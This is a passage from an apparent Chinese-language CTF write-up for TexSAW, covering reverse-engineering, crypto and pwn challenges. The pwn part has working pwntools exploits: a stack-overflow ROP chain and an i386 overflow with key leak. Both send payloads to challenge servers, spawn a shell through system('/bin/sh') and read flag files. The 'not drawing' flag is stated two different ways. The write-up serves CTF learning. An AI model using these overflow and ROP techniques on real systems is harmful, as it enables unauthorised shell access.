s[8]  == 'Y'
s[11] == 'Y'
s[12] 落在一个小范围内

逆回去得到:

原始第 1 位 = 'e'
原始第 4 位 = 'a'
原始第 5 位 ∈ { 'w', 'x', 'y', 'z' }

第五组约束执行完 7 后:

s[20] == 0xb5
s[13] == 's'

逆回去得到:

原始第 6 位 = '{'
原始第 26 位 = '}'

把前面能确定的字符拼起来:

位置 0~6  : t e ? s a ? {
位置 26   : }

再结合题目给的 flag 格式是:

texsaw{...}

于是基本可以确定:

前 7 位就是 texsaw{
最后一位是 }

所以到这里已经锁定:

原始串 = texsaw{...................}

27 长度也正好对上。

最后那个函数做了两类事:1. 拼一个字符串去比较 README.txt

程序会从当前变换后的字符串里取若干位置,做一些 +/-/*2 运算,拼出一个新串,然后和内存中的常量比较。

那个常量就是:

README.txt

也就是这段 .data:

404060  52 45 41 44 4d 45 2e 74 78 74 00
         R  E  A  D  M  E  .  t  x  t

逆回去后能解出这些原始字符:

原始第 12 位 = 'n'
原始第 13 位 = 'c'
原始第 14 位 = 'e'
原始第 15 位 = '!'
原始第 16 位 = '!'
原始第 21 位 = 'K'
原始第 22 位 = 'n'
原始第 23 位 = '0'
原始第 24 位 = 'w'
原始第 25 位 = '?'

这里还有个坑:

程序确实会 fopen("README.txt","rb") 再 fread 4 次,但读到的内容根本没参与最终判断。
也就是说:

  • README.txt 必须存在
  • 但内容随便写

终检函数还会从若干字符里算出 4 组 2 字节十六进制串,分别要求转成数值后等于:

0x57
0x34
0x61
0x29

也就是字符串:

"57", "34", "61", "29"

把这些约束逆回去,又能得到:

原始第 7 位  = 'p'
原始第 8 位  = 'A'
原始第 9 位  ∈ { 's', 't' }
原始第 10 位 = '1'
原始第 11 位 = 'e'
原始第 18 位 ∈ { 'V', 'W' }
原始第 19 位 = '0'
原始第 20 位 = 'r'

把所有已知字符拼起来:

texsaw{pA?1ence!!_?0rKn0w?}

其中不确定的位置只有两处:

  • 第 9 位:s / t
  • 第 18 位:V / W

因此,满足 texsaw 前缀 的候选有 4 个:

texsaw{pAs1ence!!_V0rKn0w?}
texsaw{pAs1ence!!_W0rKn0w?}
texsaw{pAt1ence!!_V0rKn0w?}
texsaw{pAt1ence!!_W0rKn0w?}

我本地把二进制跑了一遍,发现它的约束其实是欠定的。

不仅上面 4 个 texsaw{...} 能过,连一些不是 texsaw 前缀、但仍满足程序约束的字符串也能过。
也就是说:

  • 程序校验不是唯一解
  • 真正用于提交平台时,还要结合题目给的 flag 格式
  • 在这 4 个里面,最像 intended flag 的 是:
texsaw{pAt1ence!!_W0rKn0w?}

这个也是最自然、最像出题人故意写出来的一串。

在程序目录下放一个任意内容的 README.txt:

echo test > README.txt

然后输入:

texsaw{pAt1ence!!_W0rKn0w?}

程序会输出:

You have entered the flag

下面给一个本地验证脚本,能直接模拟题目的变换逻辑,并测试候选字符串。

def rotate_right_27(s, n):
    s = list(s)
    tmp = s[:]
    for i in range(27):
        s[(i + n) % 27] = tmp[i]
    return ''.join(s)

def switcheroo(s, n):
    s = list(s)
    if n % 2 == 0:
        for i in range(n):
            idx = (i * n) % 27
            s[idx] = chr((ord(s[idx]) + n) & 0xff)
        s = ''.join(s)
        s = rotate_right_27(s, n)
    else:
        s = ''.join(s)
        s = rotate_right_27(s, n)
        s = list(s)
        for i in range(n):
            idx = (i + n) % 27
            s[idx] = chr((ord(s[idx]) - n) & 0xff)
        s = ''.join(s)
    return s

def to_signed(x):
    return x - 256 if x >= 128 else x

def valid_hex_char(v):
    if 0x30 <= v <= 0x39 or 0x41 <= v <= 0x46 or 0x61 <= v <= 0x66:
        return chr(v)
    raise ValueError("invalid hex char")

def final_check(s):
    # README.txt compare part
    b = [ord(c) for c in s]

    buf = []
    buf.append(chr((b[0] - 0x21) & 0xff))
    buf.append(chr((b[1] - 0x20) & 0xff))
    buf.append(chr((b[2] - 0x28) & 0xff))
    buf.append(chr((2 * (to_signed(b[3]) + 4)) & 0xff))
    buf.append(chr((b[12] + 0x1c) & 0xff))
    buf.append(chr((b[11] - 0x66) & 0xff))
    buf.append(chr((b[10] + 0x08) & 0xff))
    buf.append(chr((b[9] + 0x14) & 0xff))
    buf.append(chr((b[8] - 0x07) & 0xff))
    buf.append(chr((-2 * (to_signed(b[26]) + 6)) & 0xff))
    if ''.join(buf) != "README.txt":
        return False

    # hex pair part
    x1 = valid_hex_char((-(to_signed(b[5]) // 2) - 2) & 0xff)
    x2 = valid_hex_char((b[6] + 4) & 0xff)
    if int(x1 + x2, 16) != 0x57:
        return False

    x1 = valid_hex_char((b[7] - 0x2b) & 0xff)
    x2 = valid_hex_char((b[25] - 0x31) & 0xff)
    if int(x1 + x2, 16) != 0x34:
        return False

    x1 = valid_hex_char((b[24] + 5) & 0xff)
    x2 = valid_hex_char((-(to_signed(b[23]) // 2) + 8) & 0xff)
    if int(x1 + x2, 16) != 0x61:
        return False

    x1 = valid_hex_char((b[22] - 0x0f) & 0xff)
    x2 = valid_hex_char((b[21] - 0x3d) & 0xff)
    if int(x1 + x2, 16) != 0x29:
        return False

    return True

def check(candidate):
    if len(candidate) != 27:
        return False

    s = candidate
    s = switcheroo(s, 5)
    s = switcheroo(s, 6)
    if s[11] != 'o':
        return False

    s = switcheroo(s, 13)
    if s[14] != 'R':
        return False

    s = switcheroo(s, 3)
    s = switcheroo(s, 24)
    if ord(s[0]) != 0x9b:
        return False
    if not (0x73 <= ord(s[26]) <= 0x77):
        return False

    s = switcheroo(s, 10)
    if s[8] != 'Y':
        return False
    if s[11] != 'Y':
        return False
    if not (0x74 <= ord(s[12]) <= 0x77):
        return False

    s = switcheroo(s, 7)
    if ord(s[20]) != 0xb5:
        return False
    if s[13] != 's':
        return False

    return final_check(s)

tests = [
    "texsaw{pAs1ence!!_V0rKn0w?}",
    "texsaw{pAs1ence!!_W0rKn0w?}",
    "texsaw{pAt1ence!!_V0rKn0w?}",
    "texsaw{pAt1ence!!_W0rKn0w?}",
]

for t in tests:
    print(t, check(t))

texsaw{pAt1ence!!_W0rKn0w?}

Broken Quest

题目给了一个 ELF 程序 brokenquest,还有配套 libc.so.6

主函数里维护了一个 8 个 int 的数组,初始全 0:

int state[8] = {0};

然后菜单操作如下:

  • 0: Turn in Quest
  • 1: Reset
  • 2: Rotate Pillars
  • 3: Increase Heat
  • 4: Move Gold Coins
  • 5: Swing Sword
  • 6: Swap Gems
  • 7: Shift Sand Piles
  • 8: Reverse Polarity

逆一下各函数,很容易得到每个操作对 state 的影响:

  1. Reset

全清零

state = [0,0,0,0,0,0,0,0]
  1. Rotate Pillars

整体右旋 1 位

[a0,a1,a2,a3,a4,a5,a6,a7]
-> [a7,a0,a1,a2,a3,a4,a5,a6]
  1. Increase Heat

改两个位置:

a0 += 1;
a4 += 1;
  1. Move Gold Coins

改两个位置:

a0 += 3;
a3 -= 2;
  1. Swing Sword
a0 = trunc(a0 / 5);
a6 = a6 % 5;
  1. Swap Gems
swap(a0, a5);
  1. Shift Sand Piles
a1 <<= 1;
a7 >>= 1;   // 算术右移
  1. Reverse Polarity
a0 = -a0;
a2 = -a2;

关键漏洞:memcmp 长度写错了

turn_in() 里有个目标数组:

target = [2, 6, -4, 6, 0, 4, -3, 1]

本来应该检查整个 8 个 int,也就是 32 字节。但是它实际写的是:

memcmp(state, target, 8)

只比较了 8 个字节。

因为 int 是 4 字节,所以这里只比较了:

  • state[0]
  • state[1]

也就是说,只要当前数组前两个整数是 2 和 6,就能 turn in 成功,后面 6 个值根本不看。

这就是第一条做法。

我们只要把当前数组改成:

[2, 6, 任意, 任意, 任意, 任意, 任意, 任意]

就能交。

一个很短的可行序列是:

4 -> 2 -> 3 -> 3 -> 7 -> 0

解释一下:

初始:

[0,0,0,0,0,0,0,0]

操作 4

a0 += 3, a3 -= 2
[3,0,0,-2,0,0,0,0]

操作 2

右旋 1 位

[0,3,0,0,-2,0,0,0]

操作 3

a0 += 1, a4 += 1
[1,3,0,0,-1,0,0,0]

再操作 3

[2,3,0,0,0,0,0,0]

操作 7

a1 <<= 1
[2,6,0,0,0,0,0,0]

操作 0

turn in

这时前两个 int 已经是 2,6,memcmp(..., 8) 通过,于是 quest 被 turn in。

虽然可以利用 bug 交题,但后面的 handle_flag(state) 不是简单打印 flag。

它会:

  1. 准备一个 8x8 常量表
  2. 用当前 state 做重排
  3. 调 transform() / calc_val()
  4. 最后和 .rodata 里的一段密文异或

所以 传进去的 state 不同,最后 reward 也不同。

当我们用漏洞状态:

[2,6,0,0,0,0,0,0]

去跑时,虽然能 turn in,但 reward 是乱码,不是真 flag。这就对应题目说的“broken”。

  1. 主函数里能直接看到“本来想检查的目标状态”

主函数初始化了这 8 个值:

[2, 6, -4, 6, 0, 4, -3, 1]

如果题目没写错 memcmp 长度,本来应该是要你把 quest 做到这个状态。

把 handle_flag() 逻辑抄出来模拟后,喂这个状态,会得到一个几乎就是 flag 的字符串:

xexsawg1x_ju5t_wor\x0b5_m0r3_l\xbdk3_%t_d@e5nt_w0rk}

能看出来它已经非常接近:

texsaw{1t_ju5t_work5_m0r3_l1k3_!t_d0e5nt_w0rk}

也就是说,这题 reward 流程本身也是坏的,导致打印出来有几个字符损坏。
结合 flag 格式
texsaw{...} 和整句明显的 leetspeak 句意,最后就能还原出正确 flag。

本地直接喂菜单,触发漏洞

from subprocess import Popen, PIPE

p = Popen(["./brokenquest"], stdin=PIPE, stdout=PIPE, stderr=PIPE, text=True)

# 4 -> 2 -> 3 -> 3 -> 7 -> 0
payload = "4\n2\n3\n3\n7\n0\n"
out, err = p.communicate(payload)
print(out)

这会成功 turn in,但 reward 是乱码。

模拟 handle_flag(),拿到“接近 flag”的输出

enc = [
0xa4,0x76,0x30,0x58,0x6b,0xfd,0x60,0x67,0x06,0x7d,0x31,0x21,0x32,0x68,0x20,0x24,
0x69,0x2c,0x87,0x5d,0x80,0x0e,0x3d,0x30,0x26,0x78,0xbd,0x9c,0x9e,0x89,0x77,0xa4,
0x3f,0x6a,0x83,0xca,0x8d,0x51,0x65,0x7b,0xe7,0x65,0xff,0x57,0xcd,0x51
]

mat = [
    [5,3,0,7,1,6,4,2],
    [3,6,2,0,1,4,5,7],
    [4,5,1,3,6,0,2,7],
    [3,2,5,1,4,0,6,7],
    [7,4,6,1,0,3,2,5],
    [4,3,0,5,6,7,1,2],
    [6,0,3,2,1,7,4,5],
    [5,4,2,7,3,0,6,1],
]

segments = [
    (0, 0x25, 0x00, 9),
    (1, 0x20, 0x09, 5),
    (2, 0x1a, 0x0e, 6),
    (3, 0x15, 0x14, 5),
    (4, 0x10, 0x19, 5),
    (5, 0x0d, 0x1e, 3),
    (6, 0x06, 0x21, 7),
    (7, 0x00, 0x28, 6),
]

def clamp(x):
    return x & 0xff

def cdiv(a, b):
    return int(a / b)  # toward 0

def crem(a, b):
    return a - cdiv(a, b) * b

def op0(ch, v): return clamp(ch + v + 0x30)
def op1(ch, v):
    if ch != 0 and v != 0:
        return clamp(ch * v)
    elif v != 0:
        return clamp(v * v)
    elif ch != 0:
        return clamp(ch * v)
    else:
        return 0
def op2(ch, v): return clamp(ch + 1)
def op3(ch, v): return clamp(ch + v)
def op4(ch, v): return clamp(ch if v == 0 else crem(ch, v))
def op5(ch, v): return clamp(ch - v)
def op6(ch, v): return clamp(ch << abs(v))
def op7(ch, v): return clamp(ch - v)

ops = [op0, op1, op2, op3, op4, op5, op6, op7]

def calc_val(oprow, valrow, idx):
    ch = valrow[idx] & 0xff
    for i in range(7):
        j = (idx + i) & 7
        opcode = oprow[j]
        v = valrow[(j + 1) & 7]
        ch = ops[opcode](ch, v)
    return ch

def handle_flag_like(state):
    perm = [[state[mat[r][c]] for c in range(8)] for r in range(8)]
    out = [0] * 46
    for row_idx, base, off, cnt in segments:
        oprow = mat[row_idx]
        valrow = perm[row_idx]
        for i in range(cnt):
            idx = oprow[i & 7]
            out[off + i] = calc_val(oprow, valrow, idx) ^ enc[base + i]
    return bytes(out)

target = (2, 6, -4, 6, 0, 4, -3, 1)
print(handle_flag_like(target).decode("latin1"))

输出会是:

xexsawg1x_ju5t_wor...5_m0r3_l...k3_%t_d@e5nt_w0rk}

已经很明显能恢复成真正 flag。

这题核心就是两个“坏掉”的点:

memcmp(state, target, 8)

本来该比 32 字节,只比了 8 字节,所以只需要前两个整数是 2,6。

即使走“本来 intended 的 quest 状态”,handle_flag() 打出来也不是完美明文,而是一个几乎就是 flag 的损坏字符串。

所以两条路可以概括为:

  • 路 1:漏洞流
    利用
    memcmp 只比前两个整数,直接 turn in。
  • 路 2:逆向流
    把
    handle_flag() 复现出来,从接近明文的 reward 里恢复真正 flag。

texsaw{1t_ju5t_work5_m0r3_l1k3_!t_d0e5nt_w0rk}

not drawing

这题和上一题类似,不是直接抠尾部图,而是程序把内容存在顶点缓冲里:

  • 程序里有顶点/片段着色器
  • glBufferData 上传了一大块顶点数据,大小是 0x16650
  • glVertexAttribPointer 说明每个顶点是 6 个 float,步长 24 字节
  • glDrawArrays(GL_TRIANGLES, 0, 0xEEE) 直接把这堆三角形画出来

把那块顶点数组按 position(x,y,z) + color(r,g,b) 渲染后,屏幕上会显示一串白字,读出来就是上面这串 flag。

exp:

# solve_not_drawing.py
# pip install pillow numpy

from pathlib import Path
import numpy as np
from PIL import Image

# 逆出来的关键常量:
# glBufferData(..., size=0x16650, data=...)
# 顶点步长 24 字节 = 6 个 float
# 原始 NRO 里这块顶点数据在 0x44BC60
# 但题目是 "not drawing":前面多塞了 0x10 字节,直接按程序原样画会错位
# 把顶点流起点往后挪 0x10,才能还原出真正的图

NRO_PATH = "drawing.nro"
BLOB_OFF = 0x44BC60
SHIFT = 0x10
BLOB_SIZE = 0x16650

W, H = 1600, 900


def ndc_to_screen(x: float, y: float):
    sx = int((x * 0.5 + 0.5) * (W - 1))
    sy = int((1.0 - (y * 0.5 + 0.5)) * (H - 1))
    return sx, sy


def raster_triangle(img: np.ndarray, pts):
    (x1, y1), (x2, y2), (x3, y3) = pts

    minx = max(0, min(x1, x2, x3))
    maxx = min(W - 1, max(x1, x2, x3))
    miny = max(0, min(y1, y2, y3))
    maxy = min(H - 1, max(y1, y2, y3))

    den = (y2 - y3) * (x1 - x3) + (x3 - x2) * (y1 - y3)
    if den == 0:
        return

    for y in range(miny, maxy + 1):
        for x in range(minx, maxx + 1):
            a = ((y2 - y3) * (x - x3) + (x3 - x2) * (y - y3)) / den
            b = ((y3 - y1) * (x - x3) + (x1 - x3) * (y - y3)) / den
            c = 1.0 - a - b
            if a >= 0 and b >= 0 and c >= 0:
                img[y, x] = 255


def main():
    data = Path(NRO_PATH).read_bytes()

    blob = data[BLOB_OFF + SHIFT : BLOB_OFF + BLOB_SIZE]
    vals = np.frombuffer(blob, dtype="<f4")

    # 丢掉尾部不完整的 float / 顶点
    vals = vals[: (len(vals) // 6) * 6]
    verts = vals.reshape(-1, 6)

    # [x, y, z, r, g, b]
    tris = verts[: (len(verts) // 3) * 3].reshape(-1, 3, 6)

    img = np.zeros((H, W, 3), dtype=np.uint8)

    drawn = 0
    for tri in tris:
        pos = tri[:, :3]
        col = tri[:, 3:]

        # 过滤掉尾部坏数据
        if not np.isfinite(pos).all() or not np.isfinite(col).all():
            continue
        if np.any(np.abs(pos[:, :2]) > 2.0):
            continue
        if np.any(np.abs(pos[:, 2]) > 2.0):
            continue
        if np.any(col < -0.1) or np.any(col > 1.1):
            continue

        # 实际上都是白字,颜色这里直接按均值阈值判一下
        if float(col.mean()) < 0.5:
            continue

        pts = [ndc_to_screen(v[0], v[1]) for v in pos]
        raster_triangle(img, pts)
        drawn += 1

    Image.fromarray(img).save("render.png")

    # 自动裁剪字符区域,方便直接看
    ys, xs = np.where(img[:, :, 0] > 0)
    if len(xs) and len(ys):
        x1, x2 = xs.min(), xs.max()
        y1, y2 = ys.min(), ys.max()
        crop = img[max(0, y1 - 10) : min(H, y2 + 11), max(0, x1 - 10) : min(W, x2 + 11)]
        Image.fromarray(crop).save("crop.png")

    print(f"[+] triangles drawn: {drawn}")
    print("[+] wrote render.png and crop.png")
    print("[+] 你会看到渲染结果基本是:texsaw{2switch1918462350923>")
    print("[+] 最后一位画坏了,按题目 flag format 补成 }")
    print("[+] flag = texsaw{2switch1918462350923}")


if __name__ == "__main__":
    main()

texsaw{2switch1918402350923}

Crypto

Idiosyncratic Fr*nch

题目先给了一段长英文密文,让我们先解出原文;然后再根据原文去做 OSINT,找出原作者

这段密文保留了空格、标点和大小写结构,但字母整体被替换了,比较像单表替换密码(monoalphabetic substitution),而不是维吉尼亚之类会把同一明文字母映成多种密文字母的类型。

先看高频短词和重复词型。比如密文里有大量 1 字母词 N,以及反复出现的固定词组,如 n lzwk、rzwk、rgflg 这类,说明它不是乱码,而是可被还原成正常英文句子的替换文本。

接着做词频分析和模式替换。把一些高频词逐步猜出来后,整段文字会开始呈现出一种很怪的特点:明文是英文,但几乎不出现字母 e。这就不是普通英文摘录了,而是典型的 lipogram(避字文) 线索。这个“缺 e 的英文长文”是本题最关键的突破口。

一旦意识到原文是一段刻意避开字母 e 的英文文本,就很容易联想到文学史上最著名的那本书:A Void。Britannica 记载,A Void 是法国作家 Georges Perec 的小说,原法文书名是 La Disparition,而且它最著名的特征就是整本书都避开了字母 e。

进一步核对还能发现一个很容易踩坑的点:A Void 是英文译名,英文版是 Gilbert Adair 翻译的;但原作作者并不是他,而是 Georges Perec。Britannica 明确写到:这本书“原本以法语 La Disparition 出版”,作者是 Georges Perec,英文版由 Gilbert Adair 翻译。

题面说的是:

apply OSINT tools to find who authors that original script.应用开源情报工具找出原始脚本的作者。

这里的重点是 authors that original script,也就是“原始文本/原作的作者”,不是英文译本的译者。结合上一步的核对,答案应当是 Georges Perec,而不是 Gilbert Adair。

txsaw{georges_perec}

The Imitation Game

把文件内容稍微整理一下,会发现:

  • 第一组有一串 twhsnz{...}
  • 然后是一大段英文样式的密文
  • 第二组有一串 brassg{...}
  • 再跟着一大段结构几乎一模一样的英文样式密文

最明显的特征是:

  1. 两段长正文的单词个数、标点位置、引号、缩写、换行位置都高度一致。
  2. 这通常说明它们不是两个不同消息,而是同一明文被两次加密。

所以这题的突破口就是:利用“两次加密的是同一明文”这一点做差分分析。

把两段长正文都去掉空格、标点,只保留字母,然后逐字符做:

Δi=(c2i−c1i)mod26

如果是单表替换,这个差分不会有整齐周期;
但这里做出来之后,差分序列会
严格按 41 个字母循环重复。

这说明:

  • 两段正文对应的是同一明文
  • 使用的是周期性多表替换
  • 最典型就是 Vigenère(维吉尼亚)类加密
  • 而且两次加密所用密钥流的相对差值,周期正好是 41。

因为两边明文相同,明文被消掉了,只剩两套密钥流的差。这里差分周期是 41,就说明密钥和相位都藏在这个周期里。

题目已知 flag 格式是 texsaw{...},所以前 6 个字母是确定的 texsaw。

文件里两串 flag 密文前缀分别是:

  • twhsnz
  • brassg

因此可以直接反推这两个位置上的密钥:

cipher = twhsnz`
 `plain  = texsaw

逐位相减得到:

askand
cipher = brassg`
 `plain  = texsaw

逐位相减得到:

indask

这两个片段非常像一句完整短语中的连续部分:

askanditshallbegivenyouseekandyeshallfind

长度正好是 41

把核心短语写成不带空格的形式:

askanditshallbegivenyouseekandyeshallfind

这是 41 个字母。
然后注意:不同密文块的
起始相位不一定一样,所以需要做循环位移。

因为 flag 前缀反推出的是 askand / indask,所以 flag 那两块使用的其实是下面两个循环位移后的密钥流:

  • askanditshallbegivenyouseekandyeshallfind
  • indaskanditshallbegivenyouseekandyeshallf

用这两个密钥分别去解两串 flag 密文,都会得到同一个结果。

正文那两块起始位置不同,实际对应的是另外两种旋转:

  • givenyouseekandyeshallfindaskanditshallbe
  • lbegivenyouseekandyeshallfindaskanditshal

用它们解正文,就能得到完整英文消息。

exp:

import string

ALPHA = string.ascii_lowercase

flag_ct1 = "twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}"
flag_ct2 = "brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}"

body_ct1 = """zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx"""

body_ct2 = """eiie sisj ga bwvi, knq lrw gulj l rigwej yf glux tlfzcf xnmt jvlr imx aro v dk.
xwsl esj orqejkl jkim loe qwbk oa vw fmch sw tysflzpw.
aeww ypr jeforno jxxvrp eiie ndrq min olibe vp fmvpnr!
tk iyo ggos jhte, a'sl xpfx ewp eg mil xmvct zhcxaug wzhiglof dozrzkgd ae xjhtqblg.
koew wybe lrs'vw uoe qttyrwwn

p.f. wpx evvtp "jqobvxvmb asqi" ss ihpc yvoo. jtc fkomvd jdbvz pt hsfr ewp gnl.
- xizr gkieqavgzs"""

def only_letters(s):
    return ''.join(ch for ch in s.lower() if ch in ALPHA)

def rot(s, n):
    return s[n:] + s[:n]

def vigenere_decrypt(text, key):
    out = []
    j = 0
    for ch in text.lower():
        if ch in ALPHA:
            out.append(ALPHA[(ALPHA.index(ch) - ALPHA.index(key[j % len(key)])) % 26])
            j += 1
        else:
            out.append(ch)
    return ''.join(out)

def diff_period(a, b):
    ds = [(ALPHA.index(y) - ALPHA.index(x)) % 26 for x, y in zip(a, b)]
    for p in range(1, len(ds) + 1):
        if all(ds[i] == ds[i % p] for i in range(len(ds))):
            return p
    return None

# 1. 证明两段正文的差分周期为 41
a = only_letters(body_ct1)
b = only_letters(body_ct2)
print("period =", diff_period(a, b))

# 2. 已知 flag 前缀 texsaw,恢复前 6 位 key
plain_prefix = "texsaw"
kfrag1 = ''.join(ALPHA[(ALPHA.index(c) - ALPHA.index(p)) % 26] for c, p in zip(flag_ct1[:6], plain_prefix))
kfrag2 = ''.join(ALPHA[(ALPHA.index(c) - ALPHA.index(p)) % 26] for c, p in zip(flag_ct2[:6], plain_prefix))
print("key fragment 1 =", kfrag1)
print("key fragment 2 =", kfrag2)

# 3. 构造完整母串
base_key = "askanditshallbegivenyouseekandyeshallfind"
print("len(base_key) =", len(base_key))

# 4. flag 块对应的相位
flag_key1 = rot(base_key, 0)   # askand...
flag_key2 = rot(base_key, 38)  # indask...

print(vigenere_decrypt(flag_ct1, flag_key1))
print(vigenere_decrypt(flag_ct2, flag_key2))

# 5. 正文块对应的相位(可枚举 41 个相位找可读英文)
body_key1 = rot(base_key, 15)  # givenyouseekand...
body_key2 = rot(base_key, 12)  # lbegivenyousee...

print(vigenere_decrypt(body_ct1, body_key1))
print(vigenere_decrypt(body_ct2, body_key2))

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

Web

Web of Approaches

第一关就是知识问答似乎

Pwn

Return to Sender

先看程序逻辑,main() 很简单:

  • 关闭标准输入/输出/错误流缓冲
  • 输出欢迎信息
  • 调用 deliver()

核心漏洞点在 deliver()。deliver()` 存在栈溢出

反汇编可见:

40126c <deliver>:
  push   rbp
  mov    rbp,rsp
  sub    rsp,0x20
  ...
  lea    rax,[rbp-0x20]
  mov    rdi,rax
  call   gets@plt

这里开了 0x20 字节的栈空间作为缓冲区,然后直接调用 gets() 读入数据。

gets() 不检查长度,所以是标准的 栈溢出。

缓冲区大小为:

0x20 = 32 bytes

保存的返回地址前还有一个保存的 rbp:

32 + 8 = 40

所以覆盖返回地址的偏移就是:

offset = 40

程序里藏了一个后门函数 drive()

反汇编:

401211 <drive>:
  ...
  cmp    QWORD PTR [rbp-0x8],0x48435344
  jne    40125a
  ...
  call   system@plt

也就是说,drive() 会检查传入的参数:

if (arg == 0x48435344)
    system("/bin/sh");

只要我们能控制 rdi,并调用 drive(),就能直接拿 shell。

程序里自带 pop rdi; ret

题目还贴心留了一个 gadget:

4011b6 <tool>:
  push rbp
  mov  rbp,rsp
4011be:
  pop  rdi
  ret

这里最关键的是:

0x4011be : pop rdi ; ret

注意不是跳到 tool() 函数开头,而是直接跳到这条 gadget 指令的位置。

利用思路 这是一个非常典型的 ret2win / ROP。

利用链如下:

  1. 用 gets() 溢出覆盖返回地址
  2. 跳到 pop rdi; ret
  3. 把 0x48435344 压入 rdi
  4. 跳转到 drive()
  5. drive() 中比较通过,执行 system("/bin/sh")
  6. 拿到 shell 后读 flag

payload 结构为:

[ padding 40 bytes ]
[ ret ]                # 栈对齐,可选但更稳
[ pop rdi ; ret ]
[ 0x48435344 ]
[ drive ]

这里额外插一个单独的 ret 做栈对齐,远程通常更稳。

exp:

from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

HOST = "143.198.163.4"
PORT = 15858

elf = ELF("./chall", checksec=False)

def start():
    return remote(HOST, PORT)

io = start()

offset = 40

# 栈对齐
ret = 0x40101a

# tool 函数中的 gadget
pop_rdi = 0x4011be

# drive() 所需 magic
magic = 0x48435344

payload = flat(
    b"A" * offset,
    ret,
    pop_rdi,
    magic,
    elf.sym["drive"]
)

io.recv(timeout=1)
io.sendline(payload)

# 拿 shell 后读 flag
io.sendline(b"cat flag.txt || cat flag || cat /flag || cat /home/ctf/flag.txt")

io.interactive()

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

Whats the Time?

exp:

from pwn import *

context.arch = "i386"
context.os = "linux"
context.log_level = "info"

HOST = "chals.texsaw.org"
PORT = 3000

OFFSET = 68
LEAK_LEN = 0x28

SYSTEM_PLT = 0x080490b0
MAIN       = 0x0804935f
BINSH      = 0x0804a018

def start():
    return remote(HOST, PORT)

def recv_time_line(io):
    io.recvuntil(b"Currently the time is: ")
    return io.recvline()

def encode_with_key(data, key):
    out = bytearray(data)
    k = key & 0xffffffff
    for i in range(0, len(out), 4):
        block = p32(k)
        for j in range(4):
            out[i + j] ^= block[j]
        k = (k + 1) & 0xffffffff
    return bytes(out)

def leak_key():
    io = start()
    shown_time = recv_time_line(io)

    # 发 40 个 0,回显前 40 字节就是解密后的 keystream
    io.send(b"\x00" * LEAK_LEN)
    leak = io.recvn(LEAK_LEN)

    key = u32(leak[:4])
    io.close()
    return shown_time, key

def exploit():
    while True:
        t1, key = leak_key()
        log.info(f"leaked key = {hex(key)}")

        io = start()
        t2 = recv_time_line(io)

        # 防止跨分钟导致 key 变化
        if t1 != t2:
            log.warning("minute changed, retrying...")
            io.close()
            continue

        payload = flat(
            b"A" * OFFSET,
            p32(SYSTEM_PLT),
            p32(MAIN),   # system 返回后随便回 main
            p32(BINSH)
        )

        # 80 字节,正好是 4 的倍数
        assert len(payload) % 4 == 0

        enc = encode_with_key(payload, key)

        # 先只发 exploit
        io.send(enc)

        # 程序会先 write 回前 0x28 字节
        echoed = io.recvn(LEAK_LEN)
        log.info(f"echoed {len(echoed)} bytes")

        # 这时候 read_user_input 已经返回,shell 已经起来了
        io.sendline(b"cat flag.txt || cat /flag || cat /home/ctf/flag.txt; exit")

        data = io.recvall(timeout=2)
        print(data.decode(errors="ignore"))
        io.close()
        break

if __name__ == "__main__":
    exploit()
  • read_user_input() 里溢出偏移是 68
  • 直接 ROP 到 system@plt
  • 参数传二进制里现成的 "/bin/sh" 字符串
  • 等它把前 0x28 字节回显完,再发 cat flag.txt

核到的关键地址是:

win            = 0x080491f6
read_user_input= 0x0804925c
main           = 0x0804935f
system@plt     = 0x080490b0
/bin/sh        = 0x0804a018
offset         = 68

texsaw{7h4nk_u_f0r_y0ur_71m3}